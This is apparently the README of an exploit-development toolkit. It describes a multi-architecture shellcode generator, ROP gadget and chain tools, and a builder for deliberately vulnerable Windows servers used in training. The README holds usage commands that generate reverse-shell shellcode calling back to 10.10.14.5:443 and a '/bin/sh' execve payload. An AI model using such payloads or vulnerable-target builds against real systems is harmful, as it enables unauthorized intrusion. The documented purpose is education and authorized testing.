Pentest Tools Suite

A comprehensive collection of Python-based security testing tools for exploit development, shellcode generation, and binary analysis. This suite is designed for defensive security research, vulnerability analysis, and security education.

⚠️ For authorized security testing and defensive research only.

---

🛠️ Tools Overview

1. 🐚 Shellcode Generator

Multi-architecture shellcode generation with automatic bad character avoidance

Generate position-independent shellcode for Windows (x86/x64) and Linux (ARM/ARM64) with automatic bad character encoding, ROP13 hash-based API resolution, and multiple output formats.

# Windows x64 reverse shell (after installation)
shellgen --platform windows --payload reverse_shell \
  --host 10.10.14.5 --port 443 --arch x64

# Linux ARM64 command execution
shellgen --platform linux --payload execve --cmd "/bin/sh" --arch arm64

# Or run directly without installation:
cd shellgen && ./shellgen_cli.py --platform windows --payload reverse_shell \
  --host 10.10.14.5 --port 443 --arch x64

Key Features:

• ✅ x86, x64, ARM32, ARM64 support
• ✅ Automatic bad character encoding
• ✅ Windows: PEB walk + API resolution
• ✅ Linux: Direct syscalls
• ✅ Python, C, ASM, raw binary output
• ✅ Shellcode verification and debugging

📖 Full Documentation →

---

2. 🔗 ROP Tools Suite

Gadget analysis, PE inspection, and interactive ROP chain building

A complete toolkit for ROP (Return-Oriented Programming) analysis including gadget parsing, PE base address extraction, and an interactive worksheet for building ROP chains.

Tools:

• get_rop_gadgets.py - Parse and filter ROP gadgets from rp++ output
• get_base_address.py - Extract ImageBase and PE information
• rop_worksheet.py - Interactive ROP chain building worksheet

# Find pop gadgets without bad chars
cd rop && ./get_rop_gadgets.py -f gadgets.txt -i pop -b "\x00\x0a" -m 3

# Get module base address
./get_base_address.py kernel32.dll -v

# Interactive ROP chain building
./rop_worksheet.py

Key Features:

• ✅ 18 gadget categories (stack, arithmetic, memory, etc.)
• ✅ Advanced filtering (instruction, register, regex, bad chars)
• ✅ Multi-level grouping (category → register drill-down)
• ✅ PE analysis (sections, IAT, base address, DEP bypass candidate detection)
• ✅ WinDbg integration for register/stack import
• ✅ Interactive worksheet with save/load (11 ASM operations)

📖 Full Documentation →

---

3. 🎯 Target Builder

Generate vulnerable C++ servers for exploit development practice

Generate compilable C++ Windows servers with configurable vulnerabilities, mitigations, and protocols. Produces complete source code ready for MSVC compilation, with optional exploit skeleton scripts and ROP companion DLLs.

# Simple buffer overflow server
target_builder --vuln bof --buffer-size 2048 --output server.cpp --build-script

# SEH overflow with DEP and ASLR, HTTP protocol
target_builder --vuln seh --dep --aslr --protocol http --output server.cpp

# Randomized challenge (reproducible with seed)
target_builder --random --random-seed 42 --difficulty hard --output server.cpp \
  --exploit crash --rop-dll

# Or run directly without installation:
cd target_builder && ./target_builder_cli.py --vuln bof --output server.cpp

Key Features:

• 4 vulnerability types: buffer overflow, SEH, egghunter, format string
• 3 protocols: raw TCP, HTTP/1.1, binary RPC
• Configurable mitigations: DEP (6 bypass APIs), ASLR (with info leak), /GS, SafeSEH
• Randomized challenges with seeds and difficulty presets
• Exploit skeleton generation (connect/interact/crash) with raw bytes support
• ROP gadgets: embedded in server binary (--embedded-gadgets) or companion DLL
• Decoy commands to force proper fuzzing
• Build script generation with correct cl.exe flags

📖 Full Documentation →

---

4. 📝 Code Snippets

Utility scripts for common exploit development tasks

Collection of helper scripts and code skeletons for rapid exploit development.

Available Tools:

• rop_encoder_decoder.py - ROP chain encoding/decoding utilities
• skeletons.py - Code templates for common exploit patterns

---

5. 📚 Shared Libraries

Common utilities used across all tools

Shared Python modules providing consistent functionality across the entire toolkit.

• color_printer.py - Terminal color abstraction (library-independent)
  • Works with or without Rich library
  • Consistent colored output across all tools
  • Graceful fallback to plain text

---

🚀 Quick Start

Installation

# Clone the repository
git clone <your-repo-url>
cd rop_tools

# Install all dependencies
pip install -r requirements.txt

Basic Usage Examples

Generate Windows Shellcode

# After installation
shellgen --platform windows --payload messagebox \
  --title "Test" --message "Hello!" --arch x86

# Or run directly
cd shellgen
./shellgen_cli.py --platform windows --payload messagebox \
  --title "Test" --message "Hello!" --arch x86

Analyze ROP Gadgets

cd rop
rp-win-x86.exe -f target.exe -r 5 > gadgets.txt
./get_rop_gadgets.py -f gadgets.txt -g category-register -l 5

Build ROP Chain Interactively

cd rop
./rop_worksheet.py
> importregs    # Import from WinDbg
> importstack   # Import stack dump
> name shellgen 0x00501000
> chain 0x10001234 "pop eax ; ret" "Load shellcode addr"

---

📦 Project Structure

rop_tools/
├── README.md                 # This file
├── requirements.txt          # All dependencies
├── LICENSE
├── .gitignore
├── docs/                     # Documentation
│   ├── README.md             # Documentation index
│   └── bad_character_avoidance.md  # Shellcode encoding techniques
│
├── lib/                      # Shared libraries
│   ├── __init__.py
│   ├── color_printer.py      # Terminal color abstraction
│   └── tests/                # Lib tests
│
├── shellgen/                 # Shellcode generator
│   ├── README.md             # Shellcode documentation
│   ├── CLAUDE.md             # Technical details
│   ├── src/                  # Core package modules
│   │   ├── encoders.py       # Bad character encoding
│   │   ├── assembler.py      # Keystone integration
│   │   ├── formatters.py     # Output formats
│   │   ├── payloads.py       # Payload builders
│   │   ├── cli.py            # CLI interface
│   │   └── generators/       # OS-specific generators
│   │       ├── windows.py    # Windows shellcode
│   │       └── linux.py      # Linux shellcode
│   ├── shellgen_cli.py       # Main entry point
│   ├── hash_generator.py     # ROR13 hash tool
│   └── tests/                # Test suite
│
├── rop/                      # ROP tools suite
│   ├── README.md             # ROP tools documentation
│   ├── CLAUDE.md             # Development notes
│   ├── core/                 # Core modules
│   │   ├── gadget.py         # Gadget dataclass
│   │   ├── parser.py         # File parsing
│   │   ├── categories.py     # Categorization
│   │   └── pe_info.py        # PE analysis
│   ├── display/              # Output formatting
│   │   └── formatters.py
│   ├── worksheet/            # Interactive worksheet modules
│   ├── get_rop_gadgets.py    # Gadget analyzer
│   ├── get_base_address.py   # PE base extractor
│   ├── rop_worksheet.py      # Interactive worksheet
│   └── tests/                # Test suite
│
├── target_builder/           # Vulnerable server generator
│   ├── CLAUDE.md             # Development notes
│   ├── target_builder_cli.py # Main entry point
│   ├── src/                  # Core modules + templates
│   └── tests/                # Test suite (114 tests)
│
└── code_snippets/            # Utility scripts
    ├── rop_encoder_decoder.py
    └── skeletons.py

---

🎯 Use Cases

1. Exploit Development

• Generate shellcode with bad character restrictions
• Find ROP gadgets in vulnerable binaries
• Build and test ROP chains interactively
• Extract module base addresses for ASLR calculations

2. Security Research

• Analyze binary security features
• Study ROP attack techniques
• Understand shellcode encoding methods
• Examine PE file structure

3. Vulnerability Analysis

• Test exploit payloads
• Analyze malware shellcode
• Identify code caves
• Map import/export tables

4. Security Education

• Learn shellcode generation
• Understand ROP exploitation
• Practice exploit development
• Study binary analysis

5. Red Team Operations

• Generate custom payloads
• Bypass security restrictions
• Develop exploits for authorized testing
• Chain exploitation primitives

---

🔧 System Requirements

Python Version

• Python 3.6 or higher

Operating Systems

• Linux: Full support for all tools
• Windows: Full support (shellcode generator, ROP tools)
• macOS: Full support with Keystone/Capstone

Dependencies

Core Dependencies (All Tools)

pip install rich           # Colored terminal output (optional but recommended)

Shellcode Generator

pip install keystone-engine    # Assembly
pip install capstone           # Disassembly (for --debug-shellcode)

ROP Tools

pip install pefile         # PE file parsing (get_base_address.py)

Interactive Tools

pip install rich           # ROP worksheet colored output

---

📖 Documentation

General Documentation

• Documentation Index - Comprehensive documentation hub
• Bad Character Avoidance Techniques - 20+ instruction-level encoding techniques

Tool-Specific Documentation

• Shellcode Generator - Full usage guide, examples, API reference
• Shellcode Technical Details - Implementation details, architecture
• ROP Tools Suite - Complete tool documentation
• ROP Development Notes - Feature history, technical notes

---

🎓 Learning Resources

Shellcode Generation

• Windows PEB walk technique
• x64 fastcall convention
• Bad character encoding strategies
• ARM syscall conventions

ROP Exploitation

• Gadget categorization and selection
• Stack pivot techniques
• Register manipulation
• Chain building strategies

Recommended Reading

• PEB Walk Technique
• ROR13 Hash Algorithm
• ARM Syscall Reference
• Keystone Engine

---

🔒 Security Notice

Authorized Use Only

This toolkit is designed for authorized security testing and defensive research only:

✅ Permitted Uses:

• Penetration testing engagements (with written authorization)
• Security research and education
• Defensive security analysis
• Red team operations (authorized)
• CTF competitions
• Malware analysis
• Vulnerability research
• Developing security mitigations

❌ Prohibited Uses:

• Unauthorized access to systems
• Malware development for malicious purposes
• Attacks on systems you don't own or have permission to test
• Any illegal activities

Disclaimer

The authors of this toolkit are not responsible for misuse of these tools. Users must:

• Obtain explicit written authorization before testing any systems
• Comply with all applicable laws and regulations
• Use tools only for defensive and educational purposes
• Ensure proper ethical guidelines are followed

---

🤝 Contributing

Contributions are welcome! When adding features:

1. Maintain Architecture - Follow existing modular structure
2. Update Documentation - Update README.md and tool-specific docs
3. Test Thoroughly - Test across different platforms and scenarios
4. Consistent Style - Follow existing code conventions
5. Share Knowledge - Document new techniques in CLAUDE.md

Development Guidelines

• Use the shared lib/color_printer for consistent output
• Keep core logic separate from display logic
• Write testable, modular code
• Document all public APIs
• Add examples for new features

Code Quality

This project uses automated linting to maintain code quality:

# Install linting tools
pip install -r requirements-lint.txt

# Run all linters
flake8 lib/ rop/ shellgen/ code_snippets/
black --check lib/ rop/ shellgen/ code_snippets/
isort --check-only lib/ rop/ shellgen/ code_snippets/
mypy lib/ rop/ shellgen/ code_snippets/

# Auto-format code
black lib/ rop/ shellgen/ code_snippets/
isort lib/ rop/ shellgen/ code_snippets/

Linting Tools:

• flake8 - PEP 8 style checking and error detection
• black - Automatic code formatting (88 char line length)
• isort - Import sorting and organization
• mypy - Optional static type checking

---

📜 License

The ROP Tools Suite is licensed under the GNU Affero General Public License v3.0 or later (AGPL-3.0-or-later). See LICENSE for the full text.

Because the suite is AGPL, anyone who runs a modified version as a network-accessible service must make the corresponding source code of that modified version available to the users of that service.

Acceptable use — no malicious use

The ROP Tools Suite is offensive-security tooling intended solely for authorized penetration testing, CTFs, training labs, security research, and education on systems you own or have explicit written permission to test. See NOTICE for the full acceptable-use statement.

You must not use these tools — or any output they produce (shellcode, exploit skeletons, vulnerable server binaries) — to access, disrupt, or compromise any system, network, account, or data without the prior, explicit, written authorization of its lawful owner, or to violate any applicable law. Binaries produced by target_builder are intentionally vulnerable and must only run on isolated lab networks. Unauthorized computer access is a criminal offense in most jurisdictions. By using the suite you represent that your activity is authorized and lawful; the authors accept no liability for misuse.

---

👤 Author

Dawid Esterhuizen

---

🙏 Acknowledgments

• Keystone Engine - Multi-architecture assembler
• Capstone Engine - Disassembly framework
• pefile - PE file parsing
• Rich - Terminal formatting library
• rp++ - ROP gadget finder

---

📞 Support

For questions, issues, or feature requests:

• Open an issue on GitHub
• Check tool-specific documentation
• Review CLAUDE.md for technical details

---

⚠️ Remember: Always obtain explicit authorization before testing any system you do not own.